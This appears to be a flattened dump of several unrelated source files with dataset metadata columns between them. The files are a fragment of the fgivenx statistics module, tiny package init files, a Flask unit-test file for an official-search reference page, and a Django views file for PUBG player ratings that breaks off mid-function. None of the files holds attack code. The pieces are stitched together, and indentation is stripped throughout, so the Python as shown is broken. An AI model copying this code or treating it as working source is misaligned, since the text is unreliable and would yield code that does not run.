parallel, tqdm_args:
see docstring for :func:`fgivenx.parallel.parallel_apply`
Returns
-------
1D numpy.array:
`y` values pmf is computed at `shape=(len(y))` or `ny`
2D numpy.array:
pmf values at each `x` and `y` `shape=(len(x),len(y))`
"""
logZ = kwargs.pop('logZ', None)
weights = kwargs.pop('weights', None)
ny = kwargs.pop('ny', 100)
y = kwargs.pop('y', None)
ntrim = kwargs.pop('ntrim', 100000)
parallel = kwargs.pop('parallel', False)
cache = kwargs.pop('cache', '')
tqdm_kwargs = kwargs.pop('tqdm_kwargs', {})
if kwargs:
raise TypeError('Unexpected **kwargs: %r' % kwargs)
# y
if y is not None:
y = numpy.array(y, dtype='double')
if len(y.shape) is not 1:
raise ValueError("y should be a 1D array")
fsamps = compute_samples(f, x, samples, logZ=logZ,
weights=weights, ntrim=ntrim,
parallel=parallel, cache=cache,
tqdm_kwargs=tqdm_kwargs)
if y is None:
ymin = fsamps[~numpy.isnan(fsamps)].min(axis=None)
ymax = fsamps[~numpy.isnan(fsamps)].max(axis=None)
y = numpy.linspace(ymin, ymax, ny)
return y, fgivenx.mass.compute_pmf(fsamps, y, parallel=parallel,
cache=cache, tqdm_kwargs=tqdm_kwargs)
def compute_dkl(f, x, samples, prior_samples, **kwargs):
r"""
Compute the Kullback-Leibler divergence at each value of `x` for the prior
and posterior defined by `prior_samples` and `samples`.
Parameters
----------
f: function
function :math:`f(x;\theta)` (or list of functions for each model) with
dependent variable :math:`x`, parameterised by :math:`\theta`.
x: 1D array-like
`x` values to evaluate :math:`f(x;\theta)` at.
samples, prior_samples: 2D array-like
:math:`\theta` samples (or list of :math:`\theta` samples) from
posterior and prior to evaluate :math:`f(x;\theta)` at.
`shape = (nsamples, npars)`
logZ: 1D array-like, optional
log-evidences of each model if multiple models are passed.
Should be same length as the list `f`, and need not be normalised.
Default: `numpy.ones_like(f)`
weights, prior_weights: 1D array-like, optional
sample weights (or list of weights), if desired. Should have length
same as `samples.shape[0]`.
Default: `numpy.ones_like(samples)`
ntrim: int, optional
Approximate number of samples to trim down to, if desired. Useful if
the posterior is dramatically oversampled.
Default: None
cache, prior_cache: str, optional
File roots for saving previous calculations for re-use
parallel, tqdm_args:
see docstring for :func:`fgivenx.parallel.parallel_apply`
kwargs: further keyword arguments
Any further keyword arguments are plotting keywords that are passed to
:func:`fgivenx.plot.plot`.
Returns
-------
1D numpy array:
dkl values at each value of `x`.
"""
logZ = kwargs.pop('logZ', None)
weights = kwargs.pop('weights', None)
prior_weights = kwargs.pop('prior_weights', None)
ntrim = kwargs.pop('ntrim', None)
cache = kwargs.pop('cache', '')
prior_cache = kwargs.pop('prior_cache', '')
parallel = kwargs.pop('parallel', False)
tqdm_kwargs = kwargs.pop('tqdm_kwargs', {})
if kwargs:
raise TypeError('Unexpected **kwargs: %r' % kwargs)
if logZ is None:
logZ = [0]
f = [f]
samples = [samples]
prior_samples = [prior_samples]
weights = [weights]
prior_weights = [prior_weights]
cache = [cache]
prior_cache = [prior_cache]
DKLs = []
for fi, c, pc, s, w, ps, pw in zip(f, cache, prior_cache, samples, weights,
prior_samples, prior_weights):
fsamps = compute_samples(fi, x, s, weights=w, ntrim=ntrim,
parallel=parallel, cache=c,
tqdm_kwargs=tqdm_kwargs)
fsamps_prior = compute_samples(fi, x, ps, weights=pw, ntrim=ntrim,
parallel=parallel, cache=pc,
tqdm_kwargs=tqdm_kwargs)
dkls = fgivenx.dkl.compute_dkl(fsamps, fsamps_prior,
parallel=parallel, cache=c,
tqdm_kwargs=tqdm_kwargs)
DKLs.append(dkls)
logZ = numpy.array(logZ)
DKLs = numpy.array(DKLs)
Zs = numpy.exp(logZ-logZ.max())
Zs /= Zs.sum()
return numpy.sum(Zs * DKLs.transpose(), axis=1)
| 35.327239
| 79
| 0.620679
| 2,610
| 19,324
| 4.545977
| 0.101149
| 0.033375
| 0.017109
| 0.017615
| 0.804298
| 0.775727
| 0.758449
| 0.751791
| 0.733418
| 0.729372
| 0
| 0.003945
| 0.265421
| 19,324
| 546
| 80
| 35.391941
| 0.831913
| 0.630511
| 0
| 0.47482
| 0
| 0
| 0.065527
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043165
| false
| 0
| 0.05036
| 0
| 0.122302
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
0d3af27a21b0e6ce8a4fec8e0d62653c2921601c
| 125
|
py
|
Python
|
py_models_parser/__init__.py
|
xnuinside/py-models-parser
|
c89f12f0c33e28dc86f74172246e4e4d9a7037a8
|
[
"MIT"
] | 9
|
2021-05-06T06:19:27.000Z
|
2021-09-27T16:07:04.000Z
|
py_models_parser/__init__.py
|
xnuinside/py-models-parser
|
c89f12f0c33e28dc86f74172246e4e4d9a7037a8
|
[
"MIT"
] | 1
|
2021-07-05T12:52:53.000Z
|
2021-07-06T11:53:54.000Z
|
py_models_parser/__init__.py
|
xnuinside/py-models-parser
|
c89f12f0c33e28dc86f74172246e4e4d9a7037a8
|
[
"MIT"
] | 1
|
2021-05-06T14:17:14.000Z
|
2021-05-06T14:17:14.000Z
|
from py_models_parser.core import dump_result, parse, parse_from_file
__all__ = ["parse", "parse_from_file", "dump_result"]
| 31.25
| 69
| 0.792
| 19
| 125
| 4.578947
| 0.578947
| 0.229885
| 0.321839
| 0.413793
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096
| 125
| 3
| 70
| 41.666667
| 0.769912
| 0
| 0
| 0
| 0
| 0
| 0.248
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
b49d958a46d14b05dba8cf75523bb3f4b5c4c07d
| 28
|
py
|
Python
|
adbc/commands/__init__.py
|
aleontiev/apg
|
c6a10a9b0a576913c63ed4f093e2a0fa7469af87
|
[
"MIT"
] | 2
|
2020-07-17T16:33:42.000Z
|
2020-07-21T04:48:38.000Z
|
adbc/commands/__init__.py
|
aleontiev/apg
|
c6a10a9b0a576913c63ed4f093e2a0fa7469af87
|
[
"MIT"
] | null | null | null |
adbc/commands/__init__.py
|
aleontiev/apg
|
c6a10a9b0a576913c63ed4f093e2a0fa7469af87
|
[
"MIT"
] | null | null | null |
from .run import RunCommand
| 14
| 27
| 0.821429
| 4
| 28
| 5.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 28
| 1
| 28
| 28
| 0.958333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
b4f91e22fe213c7ec2c0ae9a49e8a93da6fcfe82
| 45
|
py
|
Python
|
src/__init__.py
|
gchhablani/DRIFT
|
8d748998b695489a40ff732a974e4b1f915bab34
|
[
"MIT"
] | 90
|
2021-07-01T15:42:57.000Z
|
2021-12-06T04:57:59.000Z
|
src/__init__.py
|
gchhablani/DRIFT
|
8d748998b695489a40ff732a974e4b1f915bab34
|
[
"MIT"
] | 8
|
2021-07-02T12:41:13.000Z
|
2021-08-08T17:59:30.000Z
|
src/__init__.py
|
gchhablani/DRIFT
|
8d748998b695489a40ff732a974e4b1f915bab34
|
[
"MIT"
] | 7
|
2021-07-01T13:08:14.000Z
|
2021-08-29T05:29:09.000Z
|
from .analysis import *
from .utils import *
| 15
| 23
| 0.733333
| 6
| 45
| 5.5
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177778
| 45
| 2
| 24
| 22.5
| 0.891892
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
3707d2a27bdec3d6c78225064cc9a3813466253a
| 7,472
|
py
|
Python
|
unit_tests/view_official_search/test_enter_search_ref.py
|
LandRegistry/maintain-frontend
|
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
|
[
"MIT"
] | 1
|
2019-10-03T13:58:29.000Z
|
2019-10-03T13:58:29.000Z
|
unit_tests/view_official_search/test_enter_search_ref.py
|
LandRegistry/maintain-frontend
|
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
|
[
"MIT"
] | null | null | null |
unit_tests/view_official_search/test_enter_search_ref.py
|
LandRegistry/maintain-frontend
|
d92446a9972ebbcd9a43a7a7444a528aa2f30bf7
|
[
"MIT"
] | 1
|
2021-04-11T05:24:57.000Z
|
2021-04-11T05:24:57.000Z
|
from maintain_frontend import main
from flask_testing import TestCase
from unit_tests.utilities import Utilities
from flask import url_for
from unittest.mock import patch, MagicMock
from maintain_frontend.dependencies.session_api.session import Session
from maintain_frontend.models import SearchDetails
class TestEnterSearchRef(TestCase):
def create_app(self):
main.app.testing = True
Utilities.mock_session_cookie_flask_test(self)
return main.app
def setUp(self):
main.app.config['Testing'] = True
main.app.config['WTF_CSRF_ENABLED'] = False
def test_view_search_redirects_to_new_when_state_none(self):
self.client.set_cookie('localhost', Session.session_cookie_name,
'cookie_value')
self.mock_session.return_value.search_details = None
self.mock_session.return_value.user.is_lr.return_value = True
response = self.client.get(url_for('view_official_search.get_enter_search_ref'))
self.assert_status(response, 302)
self.assertRedirects(response, url_for('view_official_search.new'))
def test_view_search_get(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
state = SearchDetails()
self.mock_session.search_details = state
self.mock_session.return_value.user.is_lr.return_value = True
response = self.client.get(url_for('view_official_search.get_enter_search_ref'))
self.assert_status(response, 200)
self.assert_template_used('enter_search_ref.html')
def test_view_search_no_permission_redirects(self):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.is_lr.return_value = False
response = self.client.get(url_for('view_official_search.get_enter_search_ref'))
self.assertStatus(response, 302)
self.assertRedirects(response, '/not-authorised')
response = self.client.post(url_for('view_official_search.post_enter_search_ref'))
self.assertStatus(response, 302)
self.assertRedirects(response, '/not-authorised')
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchReferenceValidator')
def test_post_with_validation_errors(self, mock_validator):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.is_lr.return_value = True
mock_validator.validate.return_value.errors = {"error": "test-error"}
response = self.client.post(url_for('view_official_search.post_enter_search_ref'))
self.assert_status(response, 400)
self.assert_template_used('enter_search_ref.html')
self.assert_context("validation_errors", {"error": "test-error"})
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchLLCAPIService')
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchReferenceValidator')
def test_post_with_no_validation_errors(self, mock_validator, mock_llc_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.is_lr.return_value = True
mock_validator.validate.return_value.errors = []
mock_response = MagicMock()
mock_response.status_code = 200
mock_response.json.return_value = {"search-date": "2018-10-31T12:34:56+00:00",
"search-area-description": "A test search area",
"document-url": "",
"lapsed-date": ""}
mock_llc_api.get_by_reference_number.return_value = mock_response
data = {
'search_reference': '000 001 230'
}
response = self.client.post(url_for('view_official_search.post_enter_search_ref'), data=data)
mock_llc_api.get_by_reference_number.assert_called_with('1230')
self.assert_status(response, 302)
self.assertRedirects(response, url_for('view_official_search.get_search_results'))
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchLLCAPIService')
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchReferenceValidator')
def test_post_with_no_results(self, mock_validator, mock_llc_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.is_lr.return_value = True
mock_validator.validate.return_value.errors = []
mock_response = MagicMock()
mock_response.status_code = 404
mock_llc_api.get_by_reference_number.return_value = mock_response
data = {
'search_reference': '000 001 230'
}
response = self.client.post(url_for('view_official_search.post_enter_search_ref'), data=data)
self.assert_status(response, 400)
self.assert_template_used('enter_search_ref.html')
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchLLCAPIService')
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchReferenceValidator')
def test_post_with_api_down(self, mock_validator, mock_llc_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.is_lr.return_value = True
mock_validator.validate.return_value.errors = []
mock_response = MagicMock()
mock_response.status_code = 500
mock_llc_api.get_by_reference_number.return_value = mock_response
data = {
'search_reference': '000 001 230'
}
response = self.client.post(url_for('view_official_search.post_enter_search_ref'), data=data)
self.assert_status(response, 302)
self.assertEqual(response.location, 'http://localhost/error')
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchLLCAPIService')
@patch('maintain_frontend.view_official_search.enter_search_ref.SearchReferenceValidator')
def test_post_with_parent_lapsed(self, mock_validator, mock_llc_api):
self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value')
self.mock_session.return_value.user.is_lr.return_value = True
mock_validator.validate.return_value.errors = []
mock_response = MagicMock()
mock_response.status_code = 200
mock_response.json.return_value = {"search-date": "2018-04-01T12:34:56+00:00",
"search-area-description": "A test search area",
"document-url": "",
"lapsed-date": "2018-10-01T12:34:56+00:00",
"parent-search-id": "999",
"search-id": "1230"}
mock_llc_api.get_by_reference_number.return_value = mock_response
data = {
'search_reference': '000 001 230'
}
response = self.client.post(url_for('view_official_search.post_enter_search_ref'), data=data)
mock_llc_api.get_by_reference_number.assert_called_with('999')
self.assert_status(response, 302)
self.assertRedirects(response, url_for('view_official_search.get_search_results'))
| 44.213018
| 101
| 0.701017
| 910
| 7,472
| 5.384615
| 0.131868
| 0.062857
| 0.077143
| 0.044082
| 0.83551
| 0.821837
| 0.820408
| 0.820408
| 0.812245
| 0.812245
| 0
| 0.024005
| 0.202757
| 7,472
| 168
| 102
| 44.47619
| 0.798556
| 0
| 0
| 0.603306
| 0
| 0
| 0.25455
| 0.182147
| 0
| 0
| 0
| 0
| 0.173554
| 1
| 0.082645
| false
| 0
| 0.057851
| 0
| 0.157025
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
370f9cd890c1720a09c6e585711c280c23263c07
| 39
|
py
|
Python
|
checkov/dockerfile/__init__.py
|
jamesholland-uk/checkov
|
d73fd4bd7096d48ab3434a92a177bcc55605460a
|
[
"Apache-2.0"
] | 4,013
|
2019-12-09T13:16:54.000Z
|
2022-03-31T14:31:01.000Z
|
checkov/dockerfile/__init__.py
|
jamesholland-uk/checkov
|
d73fd4bd7096d48ab3434a92a177bcc55605460a
|
[
"Apache-2.0"
] | 1,258
|
2019-12-17T09:55:51.000Z
|
2022-03-31T19:17:17.000Z
|
checkov/dockerfile/__init__.py
|
jamesholland-uk/checkov
|
d73fd4bd7096d48ab3434a92a177bcc55605460a
|
[
"Apache-2.0"
] | 638
|
2019-12-19T08:57:38.000Z
|
2022-03-30T21:38:37.000Z
|
from checkov.dockerfile.checks import *
| 39
| 39
| 0.846154
| 5
| 39
| 6.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076923
| 39
| 1
| 39
| 39
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
2ec079ba38dcec7f18ce2e34d38c3161e2e10e94
| 16,428
|
py
|
Python
|
websaver/parsed_data/views.py
|
aiirohituzi/myWebCrawler
|
67060f724de1142b7d7d6f6fb981d3c1e925d9b0
|
[
"MIT"
] | 2
|
2017-08-21T14:38:22.000Z
|
2017-08-22T01:35:36.000Z
|
websaver/parsed_data/views.py
|
aiirohituzi/myWebCrawler
|
67060f724de1142b7d7d6f6fb981d3c1e925d9b0
|
[
"MIT"
] | 2
|
2017-09-05T09:54:26.000Z
|
2017-12-03T13:06:02.000Z
|
websaver/parsed_data/views.py
|
aiirohituzi/myWebCrawler
|
67060f724de1142b7d7d6f6fb981d3c1e925d9b0
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render
from django.http import HttpResponse
from parsed_data.models import RatingData
import json
import datetime
import config
import operator
# Create your views here.
def getRating(request):
data = []
season = request.GET.get('season', False)
if season:
for r in RatingData.objects.filter(season=season).order_by('-created_at'):
data.append({
'id': r.id,
'USER': r.userName,
'SOLO': r.solo,
'DUO': r.duo,
'SQUAD': r.squad,
'SOLOFPP': r.solofpp,
'DUOFPP': r.duofpp,
'SQUADFPP': r.squadfpp,
'Update_time': datetime.datetime.strftime(r.created_at, "%Y-%m-%d %H:%M:%S"),
'season': r.season,
})
else:
for r in RatingData.objects.all().order_by('-created_at'):
data.append({
'id': r.id,
'USER': r.userName,
'SOLO': r.solo,
'DUO': r.duo,
'SQUAD': r.squad,
'SOLOFPP': r.solofpp,
'DUOFPP': r.duofpp,
'SQUADFPP': r.squadfpp,
'Update_time': datetime.datetime.strftime(r.created_at, "%Y-%m-%d %H:%M:%S"),
'season': r.season,
})
data = json.dumps(data, indent=4)
print("Get - rating data")
# print(data)
return HttpResponse(data, content_type = "application/json")
def getRecentRating(request):
data = []
for user in config.USER_LIST:
r = RatingData.objects.filter(userName=user).order_by('-created_at')
data.append({
'id': r[0].id,
'USER': r[0].userName,
'SOLO': r[0].solo,
'DUO': r[0].duo,
'SQUAD': r[0].squad,
'SOLOFPP': r[0].solofpp,
'DUOFPP': r[0].duofpp,
'SQUADFPP': r[0].squadfpp,
'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
'season': r[0].season,
})
data = json.dumps(data, indent=4)
print("Get - recent rating data")
# print(data)
return HttpResponse(data, content_type = "application/json")
def getUserRating(request):
data = []
userName = request.GET.get('userName', False)
season = request.GET.get('season', config.CURRENT_SEASON)
if season == 'undefined':
season = config.CURRENT_SEASON
if userName:
obj = RatingData.objects.filter(userName=userName, season=season).order_by('-created_at')
for r in obj:
data.append({
'id': r.id,
'USER': r.userName,
'SOLO': r.solo,
'DUO': r.duo,
'SQUAD': r.squad,
'SOLOFPP': r.solofpp,
'DUOFPP': r.duofpp,
'SQUADFPP': r.squadfpp,
'SOLOKD': r.solokd,
'DUOKD': r.duokd,
'SQUADKD': r.squadkd,
'SOLOFPPKD': r.solofppkd,
'DUOFPPKD': r.duofppkd,
'SQUADFPPKD': r.squadfppkd,
'SOLORANKING': r.soloRanking,
'DUORANKING': r.duoRanking,
'SQUADRANKING': r.squadRanking,
'SOLOFPPRANKING': r.solofppRanking,
'DUOFPPRANKING': r.duofppRanking,
'SQUADFPPRANKING': r.squadfppRanking,
'Update_time': datetime.datetime.strftime(r.created_at, "%Y-%m-%d %H:%M:%S"),
})
data = json.dumps(data, indent=4)
print("Get - '" + userName + "' rating data")
print(data)
else:
print("error - User not found")
return HttpResponse(data, content_type = "application/json")
def getTPPRanking(request):
data = []
season = request.GET.get('season', config.CURRENT_SEASON)
if season == 'undefined':
season = config.CURRENT_SEASON
for user in config.USER_LIST:
r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
if not r:
continue
if r[0].solo == None:
r[0].solo = '0'
if r[0].duo == None:
r[0].duo = '0'
if r[0].squad == None:
r[0].squad = '0'
data.append({
'id': r[0].id,
'USER': r[0].userName,
'SOLO': r[0].solo,
'DUO': r[0].duo,
'SQUAD': r[0].squad,
'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
})
data = json.dumps(data, indent=4)
print("Get - TPP ranking data")
# print(data)
return HttpResponse(data, content_type = "application/json")
# def getSoloRanking(request):
# data = []
# season = request.GET.get('season', config.CURRENT_SEASON)
# if season == 'undefined':
# season = config.CURRENT_SEASON
# for user in config.USER_LIST:
# r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
# if not r:
# continue
# solo = r[0].solo
# duo = r[0].duo
# squad = r[0].squad
# if r[0].solo != None:
# solo = int(solo.replace(',', ''))
# else:
# solo = 0
# if r[0].duo != None:
# duo = int(duo.replace(',', ''))
# else:
# duo = 0
# if r[0].squad != None:
# squad = int(squad.replace(',', ''))
# else:
# squad = 0
# data.append({
# 'id': r[0].id,
# 'USER': r[0].userName,
# 'SOLO': solo,
# 'DUO': duo,
# 'SQUAD': squad,
# 'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
# })
# sorted_data = sorted(data, key=operator.itemgetter('SOLO'), reverse=True)
# sorted_data = json.dumps(sorted_data, indent=4)
# print("Get - solo ranking data")
# # print(sorted_data)
# return HttpResponse(sorted_data, content_type = "application/json")
# def getDuoRanking(request):
# data = []
# season = request.GET.get('season', config.CURRENT_SEASON)
# if season == 'undefined':
# season = config.CURRENT_SEASON
# for user in config.USER_LIST:
# r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
# if not r:
# continue
# solo = r[0].solo
# duo = r[0].duo
# squad = r[0].squad
# if r[0].solo != None:
# solo = int(solo.replace(',', ''))
# else:
# solo = 0
# if r[0].duo != None:
# duo = int(duo.replace(',', ''))
# else:
# duo = 0
# if r[0].squad != None:
# squad = int(squad.replace(',', ''))
# else:
# squad = 0
# data.append({
# 'id': r[0].id,
# 'USER': r[0].userName,
# 'SOLO': solo,
# 'DUO': duo,
# 'SQUAD': squad,
# 'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
# })
# sorted_data = sorted(data, key=operator.itemgetter('DUO'), reverse=True)
# sorted_data = json.dumps(sorted_data, indent=4)
# print("Get - duo ranking data")
# # print(sorted_data)
# return HttpResponse(sorted_data, content_type = "application/json")
# def getSquadRanking(request):
# data = []
# season = request.GET.get('season', config.CURRENT_SEASON)
# if season == 'undefined':
# season = config.CURRENT_SEASON
# for user in config.USER_LIST:
# r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
# if not r:
# continue
# solo = r[0].solo
# duo = r[0].duo
# squad = r[0].squad
# if r[0].solo != None:
# solo = int(solo.replace(',', ''))
# else:
# solo = 0
# if r[0].duo != None:
# duo = int(duo.replace(',', ''))
# else:
# duo = 0
# if r[0].squad != None:
# squad = int(squad.replace(',', ''))
# else:
# squad = 0
# data.append({
# 'id': r[0].id,
# 'USER': r[0].userName,
# 'SOLO': solo,
# 'DUO': duo,
# 'SQUAD': squad,
# 'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
# })
# sorted_data = sorted(data, key=operator.itemgetter('SQUAD'), reverse=True)
# sorted_data = json.dumps(sorted_data, indent=4)
# print("Get - squad ranking data")
# # print(sorted_data)
# return HttpResponse(sorted_data, content_type = "application/json")
def getFPPRanking(request):
data = []
season = request.GET.get('season', config.CURRENT_SEASON)
if season == 'undefined':
season = config.CURRENT_SEASON
for user in config.USER_LIST:
r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
if not r:
continue
if r[0].solofpp == None:
r[0].solofpp = '0'
if r[0].duofpp == None:
r[0].duofpp = '0'
if r[0].squadfpp == None:
r[0].squadfpp = '0'
data.append({
'id': r[0].id,
'USER': r[0].userName,
'SOLOFPP': r[0].solofpp,
'DUOFPP': r[0].duofpp,
'SQUADFPP': r[0].squadfpp,
'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
})
data = json.dumps(data, indent=4)
print("Get - FPP ranking data")
# print(data)
return HttpResponse(data, content_type = "application/json")
# def getSolofppRanking(request):
# data = []
# season = request.GET.get('season', config.CURRENT_SEASON)
# if season == 'undefined':
# season = config.CURRENT_SEASON
# for user in config.USER_LIST:
# r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
# if not r:
# continue
# solofpp = r[0].solofpp
# duofpp = r[0].duofpp
# squadfpp = r[0].squadfpp
# if r[0].solofpp != None:
# solofpp = int(solofpp.replace(',', ''))
# else:
# solofpp = 0
# if r[0].duofpp != None:
# duofpp = int(duofpp.replace(',', ''))
# else:
# duofpp = 0
# if r[0].squadfpp != None:
# squadfpp = int(squadfpp.replace(',', ''))
# else:
# squadfpp = 0
# data.append({
# 'id': r[0].id,
# 'USER': r[0].userName,
# 'SOLOFPP': solofpp,
# 'DUOFPP': duofpp,
# 'SQUADFPP': squadfpp,
# 'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
# })
# sorted_data = sorted(data, key=operator.itemgetter('SOLOFPP'), reverse=True)
# sorted_data = json.dumps(sorted_data, indent=4)
# print("Get - solo-fpp ranking data")
# # print(sorted_data)
# return HttpResponse(sorted_data, content_type = "application/json")
# def getDuofppRanking(request):
# data = []
# season = request.GET.get('season', config.CURRENT_SEASON)
# if season == 'undefined':
# season = config.CURRENT_SEASON
# for user in config.USER_LIST:
# r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
# if not r:
# continue
# solofpp = r[0].solofpp
# duofpp = r[0].duofpp
# squadfpp = r[0].squadfpp
# if r[0].solofpp != None:
# solofpp = int(solofpp.replace(',', ''))
# else:
# solofpp = 0
# if r[0].duofpp != None:
# duofpp = int(duofpp.replace(',', ''))
# else:
# duofpp = 0
# if r[0].squadfpp != None:
# squadfpp = int(squadfpp.replace(',', ''))
# else:
# squadfpp = 0
# data.append({
# 'id': r[0].id,
# 'USER': r[0].userName,
# 'SOLOFPP': solofpp,
# 'DUOFPP': duofpp,
# 'SQUADFPP': squadfpp,
# 'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
# })
# sorted_data = sorted(data, key=operator.itemgetter('DUOFPP'), reverse=True)
# sorted_data = json.dumps(sorted_data, indent=4)
# print("Get - duo-fpp ranking data")
# # print(sorted_data)
# return HttpResponse(sorted_data, content_type = "application/json")
# def getSquadfppRanking(request):
# data = []
# season = request.GET.get('season', config.CURRENT_SEASON)
# if season == 'undefined':
# season = config.CURRENT_SEASON
# for user in config.USER_LIST:
# r = RatingData.objects.filter(userName=user, season=season).order_by('-created_at')
# if not r:
# continue
# solofpp = r[0].solofpp
# duofpp = r[0].duofpp
# squadfpp = r[0].squadfpp
# if r[0].solofpp != None:
# solofpp = int(solofpp.replace(',', ''))
# else:
# solofpp = 0
# if r[0].duofpp != None:
# duofpp = int(duofpp.replace(',', ''))
# else:
# duofpp = 0
# if r[0].squadfpp != None:
# squadfpp = int(squadfpp.replace(',', ''))
# else:
# squadfpp = 0
# data.append({
# 'id': r[0].id,
# 'USER': r[0].userName,
# 'SOLOFPP': solofpp,
# 'DUOFPP': duofpp,
# 'SQUADFPP': squadfpp,
# 'Update_time': datetime.datetime.strftime(r[0].created_at, "%Y-%m-%d %H:%M:%S"),
# })
# sorted_data = sorted(data, key=operator.itemgetter('SQUADFPP'), reverse=True)
# sorted_data = json.dumps(sorted_data, indent=4)
# print("Get - squad-fpp ranking data")
# # print(sorted_data)
# return HttpResponse(sorted_data, content_type = "application/json")
def getUserRatingChart(request):
data = []
userName = request.GET.get('userName', False)
season = request.GET.get('season', config.CURRENT_SEASON)
if season == 'undefined':
season = config.CURRENT_SEASON
if userName:
obj = RatingData.objects.filter(userName=userName, season=season).order_by('created_at')
for r in obj:
solo = r.solo
duo = r.duo
squad = r.squad
solofpp = r.solofpp
duofpp = r.duofpp
squadfpp = r.squadfpp
if r.solo != None:
solo = int(solo.replace(',', ''))
else:
solo = 0
if r.duo != None:
duo = int(duo.replace(',', ''))
else:
duo = 0
if r.squad != None:
squad = int(squad.replace(',', ''))
else:
squad = 0
if r.solofpp != None:
solofpp = int(solofpp.replace(',', ''))
else:
solofpp = 0
if r.duofpp != None:
duofpp = int(duofpp.replace(',', ''))
else:
duofpp = 0
if r.squadfpp != None:
squadfpp = int(squadfpp.replace(',', ''))
else:
squadfpp = 0
data.append({
'id': r.id,
'USER': r.userName,
'SOLO': solo,
'DUO': duo,
'SQUAD': squad,
'SOLOFPP': solofpp,
'DUOFPP': duofpp,
'SQUADFPP': squadfpp,
'Update_time': datetime.datetime.strftime(r.created_at, "%Y-%m-%d %H:%M:%S"),
